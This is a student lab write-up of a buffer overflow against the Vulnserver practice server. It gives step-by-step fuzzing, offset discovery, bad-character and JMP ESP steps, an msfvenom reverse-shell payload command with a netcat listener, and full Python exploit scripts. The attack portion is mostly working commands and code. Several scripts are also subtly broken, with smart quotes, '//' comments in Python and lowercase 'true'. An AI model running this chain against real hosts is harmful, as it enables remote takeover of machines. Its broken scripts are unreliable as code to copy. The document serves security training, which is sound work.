A Simple Buffer Overflow

Objective: Perform Buffer Overflow Attack to Gain Access to a Remote System

Machines Used:

  • Parrot OS
  • Windows 10

Applications/Tools Used:

  • Vulnserver
  • Immunity Debugger
  • Net Cat
  • generic_send_tcp
  • Pluma (text editor)
  • Python Scripts
  • Metasploit
  • Ruby 

Function: 

Commands and Options:

  1. Launch Vulserver 
    1. As Admin on the Windows machine
  2. Launch Immunity Debugger 
    1. As Admin on the Windows machine
    2. File > Attach > Vulnserver
      1. This needs to be done anytime the connection is lost.
    3. Run program (Play icon)
  3. Switch to Parrot OS and start a netcat listener
    1. nc -nv <IP> <Port>
  1. The default port for vulnserver is 9999
  1. HELP will give a list of commands
  2. Once the connection is verified EXIT
  1. Open up a text editor
    1. Paste in commands
      1. s_readline();
      2. s_string(“STATS ”);
      3. s_string_variable(“0”);
    2. Save as stats.spk
  2. Send the package to Vulnserver
    1. generic_send_tcp <IP> 9999 stats.spk 0 0

  1. Switch back to Immunity Debugger
    1. Note if the server is vulnerable to the STATS function
      1. It will freeze and the right screen will populate
    2. In this situation the server is NOT vulnerable.
  2. Switch to Parrot and launch a text editor again
    1. This time name it trun.spk
    2. Paste in the text 
      1. s_readline();
      2. s_string(“TRUN ”);
      3. s_string_variable(“0”);
    3. Save
  3. Send the package to Vulnserver
    1. generic_send_tcp 10.10.10.10 9999 trun.spk 0 0
  4. Switch back to Immunity Debugger
    1. Monitor the overwrite on the stack registers (ESP)
  1. This shows that there is a vulnerability in trunking 
    1. Restart Vulnserver and ID and re-attach
  2. Use python to fuzz the server to find where the memory overwrite crashes the server. 

    1. Save the script as fuzz.py
    2. Run the script and see if it crashes the vulnserver. 
      1. Verify on Immunity Debugger
      2. Restart Vulnserver and ID and re-attach
      3. Note exactly where it crashes on Parrot

  1. Use metasploit to create a payload pattern in Ruby using the information gathered from the fuzzing. 
    1. /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 13600
      1. Copy the output and append it to an offset python script.
  2. Create a Python script called findoff.py

    1. Execute the findoff.py script
    2. Switch back to ID and inspect the EIP
      1. Note the number of bytes
        1. Restart Vulnserver and ID and re-attach

    1. Use a metasploit Ruby script to generate the exact offset match. 
      1. /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 20000 -q 386F4337
        1. -l  is the even number overwrite byte size from fuzz.py
        2. -q is the offset value we just learned (from EIP register)
        3. Note the exact match. 

    1. Create an overwrite script in Python to see if you can control the EIP register. 

    1. Name the script overwrite.py and run it
    2. Hop over to ID and inspect the EIP
    1. This verifies we can write to memory. 
    2. Restart Vulnserver and ID and re-attach
    3. Identify if any bad characters are can cause issues in the shellcode
      1. Create a python script badchars.py

    1. Run the script badcahrs.py
    2. Go to ID and inspect the ESP register
    1. Follow the dump and inspect the Hex string

    1. Here you are looking for anything that looks weird or out of order. 
    2. All is good
    3. Restart Vulnserver and ID and re-attach
    4. Use mona.py to identify the modules that lack protection
      1. Get the script from https://github.com/corelan/mona.git
        1. Copy the script to the ID PyCommands folder
      2. In Immunity Debugger at the bottom of the window run the script
        1. !mona modules
      3. Observe memory protections
        1. Note False, False, False, False in essfunc.dll
    1. Use metasploit to exploit the essfunc.dll
      1. /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
        1. Converts the assembly to hex
      2. Jump to the ESP register
        1. JMP ESP
        2. Note the output
        3. EXIT
    2. Use mona to find the vulnerable memory location
      1. Enter this command into the Immunity Debugger.
        1. !mona find -s “\xff\xe4” -m essfunc.dll
        2. Note the address of the vulnerable module

    1. That address here is 0x625011af
      1. Restart Vulnserver and ID and re-attach
    2. Use a jump script to verify the overwrite of the EIP register
      1. Name the script jump.py

    1. Run the script
    2. Note in ID the value of the EIP Register
    1. Restart Vulnserver and ID and re-attach
    2. Use msfvenom to create a badcarachter string
      1. msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<Port> EXITFUNC=thread -f c -a x86 -b “\x00”
      2. Create a shellcode.py script
      3. Paste in the result of the shellcode

    1. In another terminal setup a netcat listener
      1. nc -lvnp 4444
    2. Switch back to the other terminal and execute the Python script. 
      1. ./shellcode.py
    3. Switch to the netcat terminal and observe the prompt, you should see a Windows prompt. 
      1. Enter commands to verify access
        1. whoami
        2. Pwd
    4. Congratulations, you have successfully performed the buffer overflow attack. 

    Results: This was one of the best labs so far. The result is successfully exploiting a memory flaw and using it to gain remote access to the victim. 

    Precautions: This could really damage a system if done improperly, ensure it is done in a testing environment. 

    Countermeasures/Mitigation: This relies heavily on the programming of an application. Use a language that does not allow access to the memory. Use secure coding practices. 

    Personal Reflection: This was a time consuming but really enjoyable experience. I was able to find a tutorial series by The Cyber Mentor on YouTube. Watching that really enhanced my understanding of how this kind of attack works. Going over it by writing this lab also helped. The lab itself really did not provide enough detail on what you were doing. It did not explain the memory locations at all. Writing out the scripts in Python also helped my understanding of what was going on, rather than just copying and pasting like the lab had you do. It was pretty intense and really deserves its own section, rather than being baked into other attacks. 

    Raw Code:

    ./fuzzing.py

    #! /usr/bin/python

    import sys, socket

    from time import sleep

    buffer = “a” * 100

    while true:

        try:

               s=socket.socket (socket.AF_INET ,socket.SOCK_STREAM)

               s.connect((‘10.10.10.16’ ,9999))     //change this

     s.send ((‘TRUN /.:/’ + buffer))

               s.close()

               sleep(1)

               buffer = buffer + “A”*100

        except:

               print “Fuzzing crashed a %s bytes” % str(len(buffer))

               sys.exit()

    ./findoff.py

    #! /usr/bin/python

    import sys, socket

    offset = “” // Paste result here

    try:

           s=socket.socket (socket.AF_INET ,socket.SOCK_STREAM)

            s.connect((‘10.10.10.16’ ,9999))     //change this

            s.send ((‘TRUN /.:/’ + offset))

            s.close()

    except:

           print “Error connecting to server”

           sys.exit()

    ./overwrite.py

    #! /usr/bin/python

    import sys, socket

    shellcode = “C” * //Whatever Overwrite Value// + “D” * 4

    try:

           s=socket.socket (socket.AF_INET ,socket.SOCK_STREAM)

            s.connect((‘10.10.10.16’ ,9999))     //change this

            s.send ((‘TRUN /.:/’ + shellcode))

            s.close()

    except:

           print “Error connecting to server”

           sys.exit()

    ./badchars.py

    #! /usr/bin/python

    import sys, socket

    badchars = (

      “\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10”

      “\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20”

      “\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30”

      “\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40”

      “\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50”

      “\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60”

      “\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70”

      “\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80”

      “\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90”

      “\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0”

      “\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0”

      “\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0”

      “\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0”

      “\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0”

      “\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0”

      )

    shellcode = “C” * 2003 + “D” * 4 + badchars

    try:

           s=socket.socket (socket.AF_INET ,socket.SOCK_STREAM)

            s.connect((‘10.10.10.16’ ,9999))     //change this

            s.send ((‘TRUN /.:/’ + shellcode))

            s.close()

    except:

           print “Error connecting to server”

           sys.exit()

    jump.py 

    #! /usr/bin/python

    import sys, socket

    shellcode = “C” * 2003 + “\xaf\x11\x50\x62”

    try:

           s=socket.socket (socket.AF_INET ,socket.SOCK_STREAM)

            s.connect((‘10.10.10.16’ ,9999))     //change this

            s.send ((‘TRUN /.:/’ + shellcode))

            s.close()

    except:

           print “Error connecting to server”

           sys.exit()

    Works Cited (MLA):

    EC-Council. Certified Ethical Hacker (CEH) Version 11 eBook w/ iLabs (Volumes 1 through 4). 

    International Council of E-Commerce Consultants (EC Council), 2020. [VitalSource 

    Bookshelf].

    Leave a comment